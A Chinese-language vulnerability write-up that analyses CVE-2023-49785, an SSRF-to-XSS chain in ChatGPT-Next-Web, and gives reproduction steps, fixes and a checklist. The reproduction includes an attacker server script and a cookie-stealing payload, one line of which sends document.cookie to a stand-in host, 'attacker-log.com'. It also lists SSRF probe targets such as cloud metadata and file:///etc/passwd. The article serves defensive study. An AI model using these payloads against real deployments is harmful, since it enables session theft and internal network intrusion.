
1. 项目概述一次对热门开源项目的深度安全审计最近在复现和分析一些开源项目的安全漏洞时我重点关注了ChatGPT-Next-Web这个项目。它因为简洁的界面和便捷的部署方式一度成为很多开发者快速搭建个人ChatGPT前端的热门选择。然而在2023年底该项目被爆出存在一个组合漏洞编号为CVE-2023-49785这个漏洞巧妙地将服务器端请求伪造SSRF和跨站脚本XSS结合在了一起危害性不小。今天我就来详细拆解这个漏洞的成因、复现过程以及背后的安全思考。这不仅仅是跟着POC跑一遍更重要的是理解在前后端分离、代理转发成为标配的现代Web架构下开发者容易踩哪些坑以及安全研究者该如何系统地发现这类问题。简单来说CVE-2023-49785允许攻击者通过前端一个未充分过滤的参数诱使后端服务器向内部或任意网络发起请求SSRF并将请求的响应内容反射回前端页面由于页面未对响应内容进行安全处理从而触发了存储型XSS。这个漏洞链完整地贯穿了从用户输入到后端代理再到前端渲染的整个数据流是一个典型的多环节失守案例。无论你是该项目的使用者需要检查自己的部署是否安全还是一名安全爱好者或开发者想了解如何避免类似问题这篇详细的复现与分析都能给你带来实实在在的收获。2. 漏洞原理深度剖析从参数注入到代码执行要理解这个漏洞我们得先搞清楚ChatGPT-Next-Web的基本工作模式。这个项目本质上是一个Node.js通常使用Next.js编写的前端界面它本身不提供AI能力而是作为一个“中转站”或“客户端”将用户输入的对话内容通过后端服务项目自身运行的服务转发到真正的OpenAI API。在这个过程中为了灵活性项目允许用户在前端配置中指定OpenAI API的反向代理地址。这个设计初衷是好的可以让用户绕过网络限制或者使用自己搭建的代理服务。2.1 核心漏洞点未受信任的代理地址配置漏洞的根源就出在这个“反向代理地址”的配置逻辑上。在受影响版本的代码中前端有一个设置项允许用户输入一个完整的URL作为API的端点。当用户发送一条消息时前端会收集消息内容和这个配置的端点地址一并发送给项目自身运行的Node.js后端服务。后端服务接收到请求后其核心任务是将用户的聊天请求转发到配置的端点。问题在于后端在构造转发请求时直接使用了前端传来的、未经严格校验和限制的URL。攻击者可以在此处输入任意URL而不仅仅是合法的OpenAI代理地址。例如攻击者可以输入http://127.0.0.1:8080或者http://169.254.169.254/latest/meta-data/AWS元数据服务的内网地址。注意这里就是SSRF的起点。后端服务扮演了“攻击跳板”的角色它将以自己的网络权限通常就是运行Node.js服务的服务器权限去请求攻击者指定的地址。2.2 漏洞链的形成SSRF与XSS的化学反应如果仅仅是SSRF危害可能局限于信息泄露或对内网服务的攻击。但CVE-2023-49785的巧妙之处在于后续环节。当后端服务向攻击者指定的地址发起请求后它会将目标服务器的响应体Response Body原封不动地返回给前端。前端在接收到这个响应后会尝试解析并显示。在漏洞版本中前端代码直接将这个响应内容特别是错误信息或某些特定格式的响应渲染到了HTML页面上而且没有进行任何HTML编码或过滤。如果攻击者控制的服务器返回的响应中包含恶意的JavaScript代码例如这段代码就会被浏览器当作正常的脚本执行。于是完整的攻击链就形成了输入攻击者在配置中注入恶意URL如http://attacker-server.com/evil.js。SSRF项目后端向attacker-server.com发起请求。响应攻击者服务器返回一个包含恶意JS脚本的响应例如内容为 。XSS前端接收到响应后将恶意脚本插入DOM并执行攻击完成。这个XSS属于存储型吗严格来说这个“存储”介质比较特殊它不是数据库而是前端的某个配置状态可能是本地存储或状态管理。攻击载荷会随着这个配置持续存在直到配置被清除因此具有存储型XSS的持续影响特性。2.3 为什么开发者会忽略这个问题从开发角度复盘这个漏洞是多个“想当然”叠加的结果过度信任前端输入开发者可能认为“配置页面只有我自己会访问”或者“用户只会填写正确的代理地址”从而忽略了配置参数同样是不可信的输入源。职责边界模糊后端服务承担了代理转发职责但没有做好“守门人”。一个安全的代理服务应该对目标URL有严格的白名单或协议/主机名限制。错误处理不当在接收到代理请求的错误响应时为了给用户友好的提示直接将原始错误信息可能包含不可控内容输出到页面没有进行转义。3. 漏洞复现环境搭建与实操理解了原理我们动手搭建环境进行复现。请注意所有操作请在授权的、隔离的测试环境中进行切勿对任何线上或他人的系统进行测试。3.1 准备测试环境我们需要准备三个部分漏洞版本的ChatGPT-Next-Web部署一个存在漏洞的版本。攻击者控制的服务器用于接收SSRF请求并返回XSS载荷。浏览器用于访问目标Web应用。首先获取漏洞版本的代码。CVE-2023-49785影响的是特定版本我们可以从历史提交或发布标签中获取。例如使用git克隆并切换到漏洞版本git clone https://github.com/Yidadaa/ChatGPT-Next-Web.git cd ChatGPT-Next-Web # 查找漏洞修复前的某个提交或标签这里需要根据CVE详情确定具体版本。 # 假设漏洞存在于v1.0.0仅为示例请根据实际CVE信息操作 git checkout v1.0.0接着安装依赖并启动开发服务器。该项目通常使用pnpm作为包管理器。pnpm install pnpm dev服务启动后默认会在http://localhost:3000可访问。然后准备攻击服务器。最简单的方式是使用Python快速启动一个HTTP服务器。新建一个目录并在其中创建两个文件evil.js内容为恶意JavaScript例如弹窗或窃取Cookie。alert(XSS via CVE-2023-49785! Cookie: document.cookie); // 或者更隐蔽地发送数据到攻击者日志服务器 // fetch(https://attacker-log.com/steal?data btoa(document.cookie));server.py一个简单的Python HTTP服务器用于返回上面的JS文件。from http.server import HTTPServer, BaseHTTPRequestHandler class SimpleHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header(Content-Type, application/javascript) self.end_headers() with open(evil.js, rb) as f: self.wfile.write(f.read()) def log_message(self, format, *args): # 静默日志可选 pass server HTTPServer((0.0.0.0, 9999), SimpleHandler) print(恶意服务器运行在 http://0.0.0.0:9999) server.serve_forever()在终端运行 python3 server.py攻击服务器就在9999端口就绪了。 ### 3.2 分步复现攻击链 现在我们按照攻击链来一步步操作 **第一步访问并配置恶意代理地址** 1. 打开浏览器访问 http://localhost:3000。 2. 在设置界面通常是一个齿轮图标找到配置OpenAI API地址的地方。在漏洞版本中这里可能是一个可以输入完整URL的文本框。 3. 将API地址设置为我们的攻击服务器地址http://YOUR_ATTACKER_IP:9999/evil.js。请将 YOUR_ATTACKER_IP 替换为运行Python服务器的机器IP如果都在本机可以是127.0.0.1。 **第二步触发SSRF请求** 1. 在聊天界面随意输入一条消息并发送。 2. 此时前端会将消息内容和配置的恶意URL发给自己的后端localhost:3000。 3. 观察Python服务器终端你应该能看到一条GET请求记录请求路径为 /evil.js。这证明SSRF成功触发了Node.js后端已经向你的攻击服务器发起了请求。 **第三步触发XSS执行** 1. Python服务器将evil.js文件的内容即我们的恶意JS代码返回给Node.js后端。 2. Node.js后端将这个响应体返回给前端浏览器。 3. 前端JavaScript在处理这个响应时由于漏洞存在可能会尝试将其作为错误信息或某种可执行内容插入到DOM中。 4. 如果漏洞利用成功浏览器会弹出一个警告框显示“XSS via CVE-2023-49785! Cookie: ...”。这表明恶意脚本已被成功执行。 实操心得在实际复现中前端如何渲染错误响应是关键。有时需要构造特定的响应格式如特定的JSON结构来“欺骗”前端代码进入渲染恶意内容的逻辑分支。需要仔细阅读前端源码中处理API响应的部分特别是错误处理逻辑。这可能需要对项目代码进行一定的调试和跟踪。 ### 3.3 复现过程中的关键技巧与变种 单纯弹窗只是验证真实的攻击载荷可能更复杂。这里分享几个复现和深化理解时的技巧 * **利用SSRF探测内网**你可以将代理地址设置为 http://192.168.1.1 或 http://169.254.169.254 等常见内网或元数据地址观察后端响应。如果后端返回了这些内部服务的响应内容哪怕是以错误信息形式就证实了SSRF的信息探测能力。你可以编写一个简单的脚本让攻击服务器根据请求返回不同内容来模拟探测。 * **构造精准的XSS载荷**为了让前端更容易执行我们的JS需要研究其错误处理逻辑。查看浏览器开发者工具的“网络”选项卡观察正常请求和错误请求的响应格式差异。然后让你的攻击服务器模拟返回一个**结构相同但内容恶意**的响应。例如如果正常错误响应是 {“error”: {“message”: “Something went wrong”}}那么你的攻击服务器可以返回 {“error”: {“message”: “img srcx onerroralert(1)”}}。 * **注意Content-Type**浏览器是否执行JS与HTTP响应的Content-Type头密切相关。如果服务器返回Content-Type: text/html浏览器更可能解析其中的HTML/JS。我们的Python示例中设置了application/javascript但有时设置为text/html并返回一个完整的HTML文档片段可能更容易触发XSS。 ## 4. 漏洞修复方案与安全编码实践 原项目在漏洞披露后迅速进行了修复。修复的核心思路就是**对输入进行严格校验对输出进行编码**。 ### 4.1 官方修复代码分析 我们可以查看修复后的代码提交学习正确的做法 1. **URL白名单校验**后端在转发请求前对前端传入的API地址进行校验。不再允许任意URL而是只允许指向可信域名如api.openai.com或其特定代理路径。或者更安全的是后端根本不信任前端传来的完整URL而是由后端配置文件决定转发目标前端只能选择或启用某个预定义的代理选项。 2. **响应内容过滤与转义**前端在渲染任何从后端接收到的、尤其是来自代理请求的响应内容时必须进行HTML实体编码。对于需要动态显示的内容使用textContent而非innerHTML属性或者使用React/Vue等框架的默认数据绑定它们通常会自动转义。对于错误信息在显示前使用专门的转义函数处理。 例如一个简单的修复伪代码可能是 javascript // 后端Node.js const userProvidedUrl req.body.apiUrl; // 来自前端的输入 const allowedHostnames [api.openai.com, my-proxy.example.com]; const targetUrl new URL(userProvidedUrl); if (!allowedHostnames.includes(targetUrl.hostname)) { return res.status(403).json({ error: Forbidden proxy target }); } // 才进行转发... // 前端React function ErrorMessage({ text }) { // 错误div dangerouslySetInnerHTML{{__html: text}} / // 正确 return div{text}/div; // React会自动转义text中的HTML // 或者手动转义 // const safeText escapeHtml(text); // return div{safeText}/div; }4.2 开发者应建立的安全防线从这个漏洞中我们可以总结出几条对开发者至关重要的安全实践永远不要信任客户端输入无论是URL参数、表单字段、HTTP头还是本地存储的配置只要数据来源于客户端就必须在服务端进行验证、清洗和规范化。校验应包括类型、长度、范围、格式如URL协议、主机名、是否符合业务白名单。实施最小权限原则后端代理服务应该运行在尽可能受限的网络环境中。如果没必要不应让其能访问整个内部网络。可以考虑使用网络策略或容器配置来限制其出站连接。安全的错误处理永远不要将后端错误、第三方API错误的原始详情直接暴露给前端用户。记录详细的错误日志在服务器端但返回给前端的应该是经过处理的、对用户友好且不泄露敏感信息如内部IP、堆栈跟踪的通用消息。输出编码是必须选项任何将要插入到HTML文档中的数据都必须经过HTML编码。现代前端框架在这方面做得很好但当你使用innerHTML或类似API时必须十二分警惕。使用安全相关的HTTP头为你的Web应用设置Content-Security-Policy (CSP)头部。一个严格的CSP可以极大地缓解XSS攻击的影响例如禁止内联脚本执行‘unsafe-inline’限制脚本来源‘self’。即使存在XSS漏洞CSP也可能阻止恶意脚本的加载和执行。5. 漏洞挖掘思路与防御自查清单对于安全研究员这个漏洞提供了很好的挖掘思路。对于开发者则是一个自查清单。5.1 如何挖掘类似漏洞关注代理/转发功能在现代Web应用特别是那些作为“网关”、“聚合器”或“无代码平台”的应用中寻找任何将用户输入作为URL、主机或端点进行请求的功能。这是SSRF的温床。追踪数据流从用户输入点如表单、配置项、URL参数开始手动或使用工具追踪数据在应用中的流动路径看它最终是否被用于发起网络请求。测试边界情况尝试输入各种格式的URL本地地址127.0.0.1,localhost,0.0.0.0内网IP段192.168.x.x,10.x.x.x,172.16.x.x云元数据端点http://169.254.169.254/非常规协议或格式file:///etc/passwd,gopher://,dict://利用URL解析差异http://foo127.0.0.1,http://127.0.0.1:80evil.com检查响应处理如果发现SSRF进一步观察应用如何处理来自你控制的服务器的响应。响应内容是否被直接显示在页面上是否被作为JSON解析是否被写入缓存或存储尝试在响应中插入HTML/JS标签、JSON断语等看能否触发XSS或其他逻辑漏洞。5.2 项目安全自查清单如果你正在维护或使用一个类似的有代理转发功能的Web应用请对照检查检查项安全做法风险做法代理目标输入使用服务端硬编码列表或严格白名单校验。前端仅传递选项标识。前端传递完整URL后端直接使用。URL校验解析URL校验协议只允许HTTP/HTTPS、主机名域名或IP白名单、端口。仅做简单的字符串匹配或完全不校验。网络访问控制代理服务运行在受限网络命名空间出站防火墙规则限制。代理服务拥有完整的网络访问权限。错误信息处理服务端记录详细错误日志返回给前端通用、友好的错误信息。将第三方错误详情、堆栈跟踪、内部IP直接返回前端。动态内容渲染使用框架安全的数据绑定或手动对动态内容进行HTML实体编码。使用innerHTML,v-html,dangerouslySetInnerHTML等插入未编码内容。安全头部配置严格的Content-Security-Policy。未设置CSP或策略过于宽松。我个人的体会是安全往往不是被高深的技术攻破而是倒在一些看似微不足道的逻辑疏忽上。就像这个漏洞根本原因是对一个配置参数的过度信任。在开发中养成“怀疑一切输入”的思维习惯并建立起输入校验、输出编码、最小权限的防御体系能抵挡住绝大部分常见的网络攻击。对于开源项目的使用者及时关注安全公告、定期更新版本是必须养成的运维习惯。这次复现不仅是一个漏洞分析更是一次深刻的安全开发理念重温。